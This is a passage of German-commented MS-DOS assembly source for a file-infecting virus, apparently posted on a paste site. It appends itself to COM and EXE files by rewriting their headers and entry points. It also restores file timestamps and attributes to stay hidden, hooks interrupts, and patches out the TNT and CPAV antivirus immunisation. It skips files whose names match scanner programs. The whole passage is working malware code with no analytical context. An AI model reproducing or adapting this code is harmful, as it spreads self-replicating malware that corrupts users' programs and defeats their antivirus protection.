  602.           MOV BYTE PTR CS:[OFFSET PUFFER-FAKTOR+3],0E9H ;JMP setzen
  603.           SUB SI,3                      ;JMP und Dateil�nge anpassen
  604.           MOV WORD PTR CS:[OFFSET PUFFER-FAKTOR+4],SI   ;Offset setzen
  605.  
  606.           MOV AH,40H                    ;Datei beschreiben
  607.           MOV CX,3                      ;Anzahl zu schreibender Bytes
  608.           MOV DX,OFFSET PUFFER-FAKTOR+3 ;OFS des Puffers
  609.           CALL GODOS                    ;Handle in <BX>
  610.           JNC F_INFECT                  ;--> F_INFECT -->
  611. F_MODIFY: JMP MODIFY                    ;FEHLER --> SCHLIESSEN
  612. F_INFECT: XOR DI,DI                     ;LO-OFS des FilePtr in <DI> (s.u.)
  613.           JMP INFECT                    ; --> INFECT !!!
  614.  
  615. ;����������������������������������������������������������������������������Ŀ
  616. ;� EXE:                                                                       �
  617. ;������������������������������������������������������������������������������
  618. GO_EXE:   MOV BYTE PTR CS:[COMEXE-FAKTOR],1       ;COMEXE auf EXE setzen
  619.  
  620. ;------------------------------------------------------------------------------
  621. ; Dateil�nge im EXE-Kopf (in Seiten zu 512 Bytes) in BYTEs wandeln und in <AX>
  622. ; (LO-WORD) und <DX> (HI-WORD) speichern ( ---> um die EXE-Dateil�nge im EXE-
  623. ; Kopf mit der oben ermittelten physikalischen Dateil�nge vergleichen zu k�n-
  624. ; nen !!!):
  625. ;------------------------------------------------------------------------------
  626.           MOV AX,WORD PTR CS:[OFFSET PUFFER+4-FAKTOR] ;F_L�nge (in Seiten zu...
  627.           DEC AX                        ;...512 BYTEs) in <AX>
  628.           MOV CX,512                    ;Mit 512 malnehmen, und...
  629.           MUL CX                        ;...somit in BYTEs wandeln
  630.           ADD AX,WORD PTR CS:[OFFSET PUFFER+2-FAKTOR] ;BYTEs der letzten Seite drauf
  631.           JNC EXE_TEST                  ;�BERTRAG? NEIN --> EXE_TEST
  632.           INC DX                        ;JA --> HI-WORD der Dateigr��e erh�hen
  633.  
  634. ;------------------------------------------------------------------------------
  635. ; Physikalische Dateil�nge (<SI>: LO-WORD / <DI>: HI-WORD) mit der Dateil�nge
  636. ; im EXE-Kopf (<AX>: LO-WORD / <DX>: HI-WORD) vergleichen, somit auf Overlays
  637. ; in der EXE-Datei testen:
  638. ;------------------------------------------------------------------------------
  639. EXE_TEST: CMP AX,SI           ;LO-WORD im EXE-Kopf=LO-WORD der Dateigr��e?
  640.           JNE POP_CLOSE       ;NEIN --> CLOSE
  641.           CMP DX,DI           ;HI-WORD im EXE-Kopf=HI-WORD der Dateigr��e?
  642.           JE SET_EXE          ;JA --> SET_EXE
  643. POP_CLOSE:POP AX              ;Datum wird nicht mehr gebraucht (vom Stack)
  644.           POP BP              ;(s.o...)
  645.           JMP CLOSE           ;NEIN --> CLOSE
  646.  
  647. ;����������������������������������������������������������������������������Ŀ
  648. ;� EXE: R�cksprung & JMP setzen                                               �
  649. ;������������������������������������������������������������������������������
  650. ;==============================================================================
  651. ; EXE-Datei IST TAUGLICH! Neues <CS> und neuen <IP> vorbereiten, altes <CS> und
  652. ; <IP> (AUS DEM EXE-Kopf) f�r den R�cksprung vorbereiten:
  653. ;==============================================================================
  654. ;------------------------------------------------------------------------------
  655. ; Dateil�nge in Paras wandeln:
  656. ;------------------------------------------------------------------------------
  657. SET_EXE:  MOV AX,SI                     ;LO-WORD der L�nge in <AX> sichern
  658.           MOV DX,DI                     ;HI-WORD der L�nge in <DX> sichern
  659.  
  660.           MOV CL,4                      ;LOW-WORD der Dateil�nge...
  661.           SHR AX,CL                     ;...in PARAs wandeln
  662.           MOV CL,12                     ;Unteren 4 BITs des HI-WORD der Datei-
  663.           SHL DX,CL                     ;...l�nge in oberen 4 BITs verschieben
  664.           OR AX,DX                      ;Beides verkn�pfen: Dateil�nge in PARAs
  665.  
  666. ;------------------------------------------------------------------------------
  667. ; EXE-File auf VOLLE Paragraphenl�nge testen, falls noch BYTEs zum vollen Para-
  668. ; graphen ben�tigt werden, wird dies in <DI> gemerkt und das neue <CS> um einen
  669. ; Para erh�ht (Virus beginnt immer am Paragraphenstart!!!):
  670. ;------------------------------------------------------------------------------
  671.           AND SI,01111B       ;Alles bis auf die unteren 4 BITs ausmaskieren
  672.           MOV DI,10000B       ;Wieviel bleibt zu einem PARA �brig...
  673.           SUB DI,SI           ;...in <DI> merken
  674.           AND DI,01111B       ;Alles bis auf die unteren 4 BITs ausmaskieren
  675.           JZ NEU_KOPF         ;PARA ist schon voll --> NEU_KOPF
  676.           INC AX              ;Neues <CS> um einen PARA erh�hen
  677.  
  678. ;------------------------------------------------------------------------------
  679. ; EXE-Kopfl�nge abziehen, und somit neues <CS> in <AX>:
  680. ;------------------------------------------------------------------------------
  681. NEU_KOPF: SUB AX,WORD PTR CS:[OFFSET PUFFER+8-FAKTOR] ;Dateil�nge MINUS Kopf
  682.  
  683. ;------------------------------------------------------------------------------
  684. ; R�cksprung vorbereiten, Differenz zwischen neuem <CS> und altem <CS>:
  685. ;------------------------------------------------------------------------------
  686.           MOV CX,AX                               ;Neues <CS> in <CX> sichern
  687.           MOV DX,WORD PTR CS:[OFFSET PUFFER+16H-FAKTOR]  ;Altes <CS> in <DX>
  688.           SUB CX,DX                               ;Unterschied zw. Neu und Alt
  689.           MOV WORD PTR CS:[OFFSET EXE_SEG+1-FAKTOR],CX   ;R�cksprung vorbereiten (SEG)
  690.  
  691. ;------------------------------------------------------------------------------
  692. ; Neuen EXE-Start setzen, alten <IP> in den R�cksprungpuffer schieben:
  693. ;------------------------------------------------------------------------------
  694.           MOV CX,WORD PTR CS:[OFFSET PUFFER+14H-FAKTOR]  ;Altes <IP> in <CX>
  695.           MOV WORD PTR CS:[OFFSET HOST_OFS-FAKTOR],CX    ;R�cksprung vorbereiten (OFS)
  696.  
  697. ;------------------------------------------------------------------------------
  698. ; Neues <CS> im EXE-Kopf eintragen, neuen <IP> im EXE-Kopf auf null setzten:
  699. ;------------------------------------------------------------------------------
  700.           MOV WORD PTR CS:[OFFSET PUFFER+16H-FAKTOR],AX  ;Neues <CS>
  701.           MOV WORD PTR CS:[OFFSET PUFFER+14H-FAKTOR],0   ;Neuer <IP>
  702.  
  703. ;------------------------------------------------------------------------------
  704. ; EXE-Dateil�nge anpassen (Anzahl BYTEs in der letzten Seite um {ANZBYTES} er-
  705. ; h�hen und beim �berlauf �ber 512 BYTEs das 512-BYTE-pro-Seite Word um eins
  706. ; erh�hen) :
  707. ;------------------------------------------------------------------------------
  708.           MOV AX,WORD PTR CS:[OFFSET PUFFER+2-FAKTOR] ;Anzahl BYTEs der letzten Seite
  709.           ADD AX,DI                               ;BYTEs des letzten PARAs dazu...
  710.           ADD AX,ANZBYTES                         ;...Virusl�nge dazu
  711.           MOV DX,AX                               ;Diesen Wert in <DX> merken!
  712.  
  713.           AND AX,0111111111B            ;Unteren 9 BITs=512 NICHT ausmaskieren
  714.           JNZ EXE_ZERO                  ;Sonderfall? NEIN --> EXE_ZERO
  715.           MOV AX,512                    ;Letzte Seite=Voll
  716.           SUB DX,512                    ;Anzahl Seiten weniger 1
  717.  
  718. EXE_ZERO: MOV WORD PTR CS:[OFFSET PUFFER+2-FAKTOR],AX ;BYTEs der letzten Seite
  719.           MOV CL,9                      ;Den Rest in Seiten zu jeweils...
  720.           SHR DX,CL                     ;...512 BYTEs umrechnen (shiften)
  721.  
  722.           ADD WORD PTR CS:[OFFSET PUFFER+4-FAKTOR],DX ;Auf die urspr�ngliche L�nge drauf!
  723.  
  724. ;------------------------------------------------------------------------------
  725. ; Stack-SEG <SS> um {ANZBYTES/10H) Paragraphen nach hinten versetzen:
  726. ;------------------------------------------------------------------------------
  727.           ADD WORD PTR CS:[OFFSET PUFFER+0EH-FAKTOR],(ANZBYTES/10H)  ;<SS> nach hinten
  728.  
  729. ;==============================================================================
  730. ;EXE-Kopf erfolgreich modifiziert! Diesen Kopf jetzt in die Datei schreiben:
  731. ;==============================================================================
  732.           MOV AH,40H                    ;Datei beschreiben
  733.           MOV CX,18H                    ;Anzahl zu schreibender Bytes
  734.           MOV DX,OFFSET PUFFER-FAKTOR   ;OFS des Puffers
  735.           CALL GODOS                    ;Handle in <BX>
  736.           JC MODIFY                     ;FEHLER --> SCHLIESSEN
  737.  
  738. ;����������������������������������������������������������������������������Ŀ
  739. ;� TNT und CPAV �berlisten:                                                   �
  740. ;������������������������������������������������������������������������������
  741. INFECT:   CMP BYTE PTR CS:[OFFSET IMMUN-FAKTOR],0 ;Immunisiert?
  742.           JZ INF_CONT                             ;NEIN --> INF_CONT
  743.  
  744.           MOV AX,4202H                  ;Dateizeiger relativ zum Ende bewegen
  745.           MOV CX,0FFFFH                 ;HI-WORD des FilePtr
  746.           MOV DX,(-172H)                ;LO-WORD des FilePtr
  747.           CALL GODOS                    ;Handle in <BX>
  748.  
  749.           MOV AH,3FH                    ;Datei lesen
  750.           MOV CX,20H                    ;Anzahl zu lesender BYTES
  751.           MOV DX,OFFSET VIR_END-FAKTOR  ;OFS des Puffers, SEG in <DS>
  752.           CALL GODOS                    ;Handle in <BX>
  753.  
  754. ;------------------------------------------------------------------------------
  755. IMUN_TST: MOV SI,CX                     ;Anzahl zu lesender BYTEs in <SI>
  756.           DEC SI                        ;NULL als Zahl interpretieren!
  757.           CMP WORD PTR CS:[OFFSET VIR_END-FAKTOR+SI],09B4H ;Target gefunden?
  758.           JZ BREAK_IT                   ;JA --> BREAK_IT
  759.           LOOP IMUN_TST                 ;NEIN --> IMUN_TST
  760.           JMP INF_CONT                  ;NIX...INF_CONT!
  761.  
  762. ;------------------------------------------------------------------------------
  763. BREAK_IT: MOV AX,4202H                  ;Dateizeiger relativ zum Ende bewegen
  764.           MOV DX,172H                   ;LO-WORD des FilePtr
  765.           SUB DX,SI                     ;Target-Position abziehen
  766.           NEG DX                        ;Negieren (FilePtr r�ckw�rts!)
  767.           MOV CX,0FFFFH                 ;HI-WORD des FilePtr
  768.           CALL GODOS                    ;Handle in <BX>
  769.  
  770.           MOV AH,40H                    ;Datei beschreiben
  771.           MOV CX,2                      ;Anzahl zu schreibender Bytes
  772.           MOV DX,OFFSET ANTI_IMUN-FAKTOR ;OFS des Puffers
  773.           CALL GODOS                    ;Handle in <BX>
  774.  
  775. ;����������������������������������������������������������������������������Ŀ
  776. ;� FielPtr "SPACEN" (fr�her: F�ll-BYTEs schreiben):                           �
  777. ;������������������������������������������������������������������������������
  778. INF_CONT: MOV AX,4202H                  ;Dateizeiger relativ zum Ende bewegen
  779.           XOR CX,CX                     ;HI-WORD des FilePtr
  780.           MOV DX,DI                     ;LO-WORD des FilePtr (F�ll-BYTEs...
  781.           CALL GODOS                    ;... in <DI>), Handle in <BX>
  782.  
  783. ;����������������������������������������������������������������������������Ŀ
  784. ;� Generationsz�hler erh�hen:                                                 �
  785. ;������������������������������������������������������������������������������
  786.           INC WORD PTR CS:[OFFSET KOPIE-FAKTOR]   ;LO-Z�hler erh�hen
  787.           JNZ GO_COPY                             ;Kein �berlauf --> ENDE
  788.           INC WORD PTR CS:[OFFSET KOPIE-FAKTOR+2] ;HI-Z�hler erh�hen
  789.  
  790. ;����������������������������������������������������������������������������Ŀ
  791. ;� KOPIEREN:                                                                  �
  792. ;������������������������������������������������������������������������������
  793. GO_COPY:  MOV AH,40H                    ;Datei beschreiben
  794.           MOV CX,ANZBYTES               ;Anzahl zu schreibender Bytes
  795.           XOR DX,DX                     ;OFS des Puffers
  796.           CALL GODOS                    ;Handle in <BX>
  797.  
  798. ;����������������������������������������������������������������������������Ŀ
  799. ;� Altes DATUM und alte ZEIT NEU setzen:                                      �
  800. ;������������������������������������������������������������������������������
  801. MODIFY:   MOV AX,5701H                  ;Datum und Zeit der Datei restaurieren
  802.           POP DX                        ;Altes Datum holen
  803.           POP CX                        ;Alte Uhrzeit holen
  804.           CALL GODOS                    ;Handle in <BX>
  805.  
  806. ;����������������������������������������������������������������������������Ŀ
  807. ;� Datei schlie�en:                                                           �
  808. ;������������������������������������������������������������������������������
  809. CLOSE:    MOV AH,3EH                    ;Datei schliessen
  810.           CALL GODOS                    ;Hoffentlich Ok...
  811.  
  812. ;����������������������������������������������������������������������������Ŀ
  813. ;� Attribut der Datei restaurieren                                            �
  814. ;������������������������������������������������������������������������������
  815.  
  816. BREAK:    POP DS                        ;SEG des Dateinamens in <DS>...
  817.           POP DX                        ;...OFS in <DX>
  818.           POP CX                        ;Attribut in <CX>
  819.  
  820.           MOV AX,4301H                  ;Attribut einer Datei setzen
  821.           CALL GODOS                    ;SEG in <DS> und OFS in <DX> (s.o.)
  822.  
  823. ;����������������������������������������������������������������������������Ŀ
  824. ;� INT 13H auf neuen (nach dem Virus) Vektor setzen:                          �
  825. ;������������������������������������������������������������������������������
  826. REST_INT: POP DX                        ;OFS in <DX>
  827.           POP DS                        ;SEG in <DS>
  828.           MOV AX,2513H                  ;Vektor neu setzen
  829.           CALL GODOS                    ;--> Dose direkt callen
  830.  
  831. ;����������������������������������������������������������������������������Ŀ
  832. ;� Kritikal Errorhandler wieder restaurieren:                                 �
  833. ;������������������������������������������������������������������������������
  834.           POP DX                        ;OFS in <DX>
  835.           POP DS                        ;SEG in <DS>
  836.           MOV AL,24H                    ;<AX>=24, Vektor neu setzen
  837.           CALL GODOS                    ;--> Dose direkt callen
  838.  
  839. ;����������������������������������������������������������������������������Ŀ
  840. ;� INT beenden...                                                             �
  841. ;������������������������������������������������������������������������������
  842.           JMP NEU21END                  ;INT Beenden --> NEU21END
  843.  
  844. NEU21     ENDP
  845.  
  846. ;����������������������������������������������������������������������������ͻ
  847. ;� Nicht zu infizierende Dateien:                                             �
  848. ;����������������������������������������������������������������������������ͼ
  849. SCAN      DB "ASC"                      ;1: "SCAn"
  850.           DB "ECL"                      ;2: "CLEan"
  851.           DB "HVS"                      ;3: "VSHield"
  852.           DB "RVI"                      ;4: "VIRus"
  853.           DB "NWI"                      ;5: "WINdows"
  854.  
  855. ANZ_SCAN  EQU 5                         ;Anzahl eingegebener Viren
  856.  
  857. ;����������������������������������������������������������������������������ͻ
  858. ;� SEEK_BEG: Dateizeiger auf den Anfang der Datei setzen:                     �
  859. ;����������������������������������������������������������������������������ͼ
  860. SEEK_BEG  PROC NEAR
  861.  
  862.           MOV AX,4200H                  ;Dateizeiger bew., relativ zum Anfang
  863.           XOR CX,CX                     ;HI-WORD des Offset
  864.           XOR DX,DX                     ;LO-WORD des offset
  865.           CALL GODOS                    ;Handle in <BX>
  866.  
  867.           RET                           ; --> HOME
  868.  
  869. SEEK_BEG  ENDP
  870.  
  871. ;����������������������������������������������������������������������������ͻ
  872. ;� GODOS: Direkter Aufruf von INT 21H                                         �
  873. ;����������������������������������������������������������������������������ͼ
  874. GODOS     PROC NEAR                     ;DOS-INT direkt aufrufen!!!
  875.  
  876.           PUSHF
  877.           CALL DWORD PTR CS:[ALT21-FAKTOR]
  878.           RET
  879.                                         ;--> Is 17 BYTEs kleiner als die
  880. GODOS     ENDP                          ;Methode mit den Vektoren umbiegen..!
  881.  
  882. ;==============================================================================
  883. COMEXE    DB 0      ;COM oder EXE-File..?
  884.  
  885. ANTI_IMUN DB 0EBH,034H        ;Nix-Merken-JMP f�r CPAV und TNT
  886.  
  887. KOPIE     DD 1      ;     ���� Double-Word f�r die Anzahl der Generationen
  888. ;                                                    ������Ŀ
  889. ;�������������������������������������������������ͻ         �
  890. ;�           ������� DOUBLE-WORD ������Ŀ          �         
  891. ;�                                               �  Das Double-Word
  892. ;�     �� LO-WORD Ŀ              �� HI-WORD Ŀ    �  steht x Bytes VOR
  893. ;�                                             �  DEM ENDE des
  894. ;� LO-BYTE      HI-BYTE       LO-BYTE      HI-BITE �  infizierten Programms
  895. ;�������������������������������������������������ͼ
  896.  
  897. KENNUNG   DW ID_WORD          ;Kenn-WORD
  898.  
  899. PUFFER    DB  3 DUP(90H)      ;Puffer (EXE-Kopf, etc.), mit NOPs gef�llt (COM)
  900.  
  901. ;==============================================================================
  902. VIR_END   EQU $
  903. ;  
  904. ;  ��� Ausgelagerter Puffer (20H BYTEs)
  905. ;  
  906. BUF_END   EQU VIR_END+1FH
  907. ;------------------------------------------------------------------------------
  908. ALT13     EQU BUF_END+1
  909. ;  
  910. ;  ��� Alter Vektor von INT 13H
  911. ;  
  912. ALT13_END EQU ALT13+3
  913. ;------------------------------------------------------------------------------
  914. AKTIV     EQU ALT13_END+1
  915. ;  
  916. ;  ��� Aktiv-Flag f�r den residenten Teil des Virus
  917. ;  
  918. AKTIV_END EQU AKTIV
  919. ;------------------------------------------------------------------------------
  920. IMMUN     EQU AKTIV+1         ;���> IMMER DER LETZT EINTRAG! (s. Virus-Kopf)
  921. ;  
  922. ;  ��� Ist die Zieldatei immunisiert worden von TNT oder CPAV ?
  923. ;
  924. ;==============================================================================
  925. CODE ENDS
  926.  
  927. END START
  928. 
Tags: virus asm MSDOS
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement